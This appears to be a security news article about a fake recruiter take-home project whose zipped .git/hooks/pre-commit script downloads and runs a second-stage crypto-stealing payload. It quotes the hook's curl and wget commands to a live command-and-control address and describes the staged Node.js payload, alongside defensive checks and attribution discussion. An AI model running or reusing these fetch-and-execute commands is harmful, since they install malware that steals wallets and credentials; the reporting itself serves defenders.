A developer who took a coding assignment for a $15,000-a-month remote Python job published a teardown overnight showing the project was a malware dropper. The FastAPI codebase itself was clean. The zip archive around it carried a .git/hooks/pre-commit script that fired the first time he ran git commit, fetching a second-stage payload from a raw IP address with a tracking number assigned to him personally. The delivery method is the real story here, because a hook sitting inside .git/hooks is something GitHub cannot serve you and git clone never copies. It only reaches your machine if someone hands you an archive.

  • The lure was a fake YC startup. A recruiter reached out on LinkedIn on July 19, 2026 with a contract-to-hire Python role at a company called Zavopay, quoting $10,000 to $15,000 a month, and sent the take-home as a Google Drive zip with a PDF brief.
  • The dependencies were genuinely clean. Anyone auditing requirements.txt or reading the FastAPI and SQLAlchemy source would have found nothing, because the payload never touched the tracked tree.
  • The hook was OS-aware and victim-aware. It branched on Darwin versus Linux and called 45.61.164.38:5777 with ?id=402, a per-victim identifier that lets the operator serve custom payloads and track who bit.
  • Stage three pulled a Node runtime and crypto-adjacent packages. The dropped script installed Node.js, fetched an obfuscated parser.js, and installed clipboardy, basic-ftp, and hardhat, a combination that points squarely at wallet and clipboard theft.
Attack chain of the fake take-home interview project Six stages, from a LinkedIn recruiter message and a Google Drive zip archive through an unpacked project that looks clean, then a pre-commit git hook that detects the operating system, contacts a command and control server at 45.61.164.38 port 5777 with a per-victim id, and finally runs a Node.js payload with clipboard and FTP packages. ATTACK CHAIN / FAKE TAKE-HOME Code that runs before you write a single line 01 / LINKEDIN Recruiter DM $10k to $15k a month 02 / GOOGLE DRIVE project.zip + PDF FastAPI and SQLAlchemy 03 / UNZIP Nothing looks off deps are actually clean 04 / FIRST COMMIT .git/hooks/pre-commit branches on Darwin or Linux 05 / C2 CALLBACK 45.61.164.38:5777 per-victim ?id=402 06 / PAYLOAD node parser.js clipboardy, basic-ftp git clone never copies .git/hooks. A zip archive carries it verbatim. No tracked file changes, so git status and a code review both show nothing. genztech.blog
Fig 1 The whole chain runs on trust in a zip file. Stages 1 through 3 are pure social engineering and pass any dependency audit. Stage 4 executes without the victim opting in, because git runs hooks from its own directory by default.

What was actually in the take-home project?

The assignment was a boilerplate FastAPI backend with SQLAlchemy, the kind of thing a real startup would plausibly hand a candidate. It was not even original work. The author traced the code to a public GitHub repository belonging to a user named Bgogoi123, with the attackers' own commits layered on top under the addresses [email protected] and [email protected]. Reusing someone else's honest project as camouflage is cheap and it works, because the parts a careful candidate inspects are exactly the parts that are real.

RelatedProgress Confirms ShareFile Zero-Day Behind Server Shutdown

The hook itself was short. It detected the platform and ran one of two commands: curl -sL 'http://45.61.164.38:5777/task/mac?id=402' on macOS, or wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' on Linux. The response was a shell script saved to ~/Documents as tokenlinux.npl, renamed to .sh, marked executable, and launched under nohup so it survived the terminal closing. That script installed Node.js if it was missing, pulled down parser.js and a package.json, ran npm install, and executed the obfuscated parser. The declared dependencies included hardhat, an Ethereum development framework, alongside clipboardy, basic-ftp, and process-spawning helpers. That dependency list is a confession.

The infrastructure was less careless than the malware. The C2 was a bare IP on port 5777 rather than a domain, which sidesteps DNS-based blocklists entirely, and a port scan showed only three services with a patched OpenSSH 9.6p1. The per-victim id parameter is the detail worth sitting with: this operation tracks candidates individually, which means it can serve a benign response to a researcher and a live payload to a real target.

Why is .git/hooks worse than .githooks?

Most published guidance on this attack pattern tells developers to inspect the .githooks directory before opening a cloned project. That advice is correct and it does not cover this sample, because the two paths are not the same mechanism at all.

Git executes hooks from $GIT_DIR/hooks, which is .git/hooks in a normal repository. Nothing inside .git is version controlled, so it is never pushed to GitHub and git clone will not bring it down. That is why the repository-hosted version of this campaign has to use a tracked .githooks/ folder plus a line in the setup instructions telling you to run git config core.hooksPath .githooks. The victim has to be talked into arming it.

A zip archive removes that step. Compress a working directory and the .git folder rides along with its hooks intact and their execute bits set. The victim unpacks it, the hooks are already live, and no configuration change appears anywhere. It also defeats the review instinct: git status reports a clean tree, the diff a candidate might skim contains nothing hostile, and most editors and file managers hide dot-directories by default.

Delivery.git/hooks (zip).githooks (repo).vscode/tasks.json
Ships overZip, Drive, emailAny git cloneEither
Survives git cloneNo, archive onlyYesYes
Needs victim setupNonecore.hooksPathFolder trust prompt
Visible in git diffNoYesYes
TriggerFirst commitFirst commitOpening the folder
Common advice catches itNoYesPartly

Is this Lazarus, or someone copying Lazarus?

Careful answer: the playbook is Contagious Interview, the specific sample is not confirmed as North Korean, and the difference matters. Microsoft documented the Contagious Interview campaign on March 11, 2026 and dated it back to at least December 2022, cataloguing implants including BeaverTail, InvisibleFerret, OtterCookie and FlexibleFerret. Researchers at OpenSourceMalware separately flagged the git-hook variant, which security press has tied to Lazarus, using a .githooks/pre-commit file and a C2 hosted at precommit.vercel.app. ReversingLabs tracked a parallel effort of 192 malicious npm and PyPI packages running since May 2025, attributed to Lazarus with medium-to-high confidence.

This sample matches none of those indicators. Different hook path, different infrastructure, and the author noted the .npl extension is associated with Monero mining operations rather than the state-linked stealers. The most defensible read is that the technique has been commoditised. A method built by a well-resourced state crew is now cheap enough that ordinary crypto thieves run it with a rented IP and a stolen GitHub project, which makes volume, not sophistication, the thing that should worry job seekers.

  1. Dec 2022Contagious Interview begins. Fake recruiters start delivering malware through developer job assessments.
  2. May 2025192 malicious npm and PyPI packages. ReversingLabs ties the registry campaign to Lazarus with medium-to-high confidence.
  3. Mar 11, 2026Microsoft publishes its Contagious Interview writeup. Names BeaverTail, InvisibleFerret, OtterCookie and FlexibleFerret, and recommends non-persistent VMs for take-homes.
  4. 2026Git hooks enter the playbook. OpenSourceMalware documents a .githooks/pre-commit variant with a Vercel-hosted C2.
  5. Jul 19, 2026The Zavopay lure lands. LinkedIn approach, $10k to $15k a month, take-home delivered as a Google Drive zip.
  6. Jul 23, 2026The teardown goes public. C2 at 45.61.164.38:5777 still answering at time of writing.
  7. NextArchive delivery becomes the default. Zip and Drive links avoid GitHub takedowns and every repo-scanning defence built so far.

What does the payload actually reach for?

Microsoft's inventory for this family is specific: API tokens, cloud credentials, signing keys, cryptocurrency wallets and password manager artifacts, including wallet mnemonic phrases, KeePass databases, 1Password files, environment configuration files and clipboard contents. The dependency list in this sample lines up with the low end of that list. clipboardy reads whatever you last copied, which for a developer is routinely an API key or a seed phrase. basic-ftp is exfiltration. hardhat implies an interest in Ethereum project files and wallet keystores on disk.

The asymmetry is what makes this campaign efficient. A candidate machine is usually a personal laptop with a live SSH agent, an authenticated gh CLI, cloud credentials in ~/.aws, and a .env file for every side project. There is no EDR agent and no corporate baseline. Compromising one of those is worth more than compromising a hardened production server, and the attacker gets invited in.

RelatedAdobe ColdFusion Patches 11 Critical Bugs, 6 Rated 10.0

How do you check a take-home before you touch it?

The blunt version: never run an unknown employer's code on the machine that holds your keys. Microsoft's own guidance is a non-persistent virtual machine, and that is the correct answer for any unpaid assignment from a company you have not verified. Short of that, four commands catch this specific class of attack.

# 1. anything here without a .sample suffix is not stock git
ls -la .git/hooks/

# 2. did the project redirect hooks somewhere tracked?
git config --get core.hooksPath

# 3. VS Code autorun tasks fire on folder open, no commit needed
cat .vscode/tasks.json

# 4. blunt global off switch: point hooks at an empty directory
mkdir -p ~/.no-hooks && git config --global core.hooksPath ~/.no-hooks

Option four is worth considering permanently if you do not use hooks. It disables them for every repository on the machine, and you can override it per project when you actually want husky or pre-commit. Also treat the delivery method as a signal in itself: a real engineering team sends you a repository link or a private fork invite. A zip on Google Drive is not how functioning companies distribute code, and the PDF brief is there to make the archive feel like paperwork rather than an executable.

If you already ran something like this, rotating a few tokens is not enough. The standing advice for this family is to rotate every token and password the machine touched and reinstall the operating system, because the implants in this ecosystem establish persistence and pull follow-on payloads.

What to watch
  • Archive delivery over repo links. Zip and Drive distribution dodges GitHub takedowns and every scanner that assumes malware arrives through a clone. Expect it to become the default channel.
  • Hook inspection in scanners. Nothing in the standard toolchain flags an executable in .git/hooks. The first security tool that checks it on unpack wins an easy category.
  • Per-victim IDs as an evasion layer. Tracking parameters let operators serve clean responses to researchers, which means public sample analysis will increasingly understate what real targets receive.
  • Salary as the tell. $10,000 to $15,000 a month for a contract Python role is the pitch. Outlier compensation from an unverifiable startup is the cheapest filter you have.

Our take

The interesting failure here is not technical, it is procedural. Every piece of security advice aimed at developers assumes the dangerous code arrives as a dependency or a clone, so we built dependency scanners, lockfile audits and repository policies. This attack walks past all of it by putting the payload in the one directory that is definitionally not part of the project, then delivering it through a channel that no scanner watches. The victim's diligence was real and it was aimed at the wrong file.

The second thing worth naming is who absorbs this risk. Take-home assignments already push unpaid work onto the least secure participant in hiring, usually someone early in their career running everything on one laptop, and now that laptop is the attack surface. Companies that insist on take-homes should be sending a devcontainer or a Codespace, not a zip. Until that changes, treat every unsolicited assignment as untrusted code, because that is exactly what it is.

Primary sources

Original analysis by GenZTech. Technical detail sourced from the published teardown at citizendot.github.io.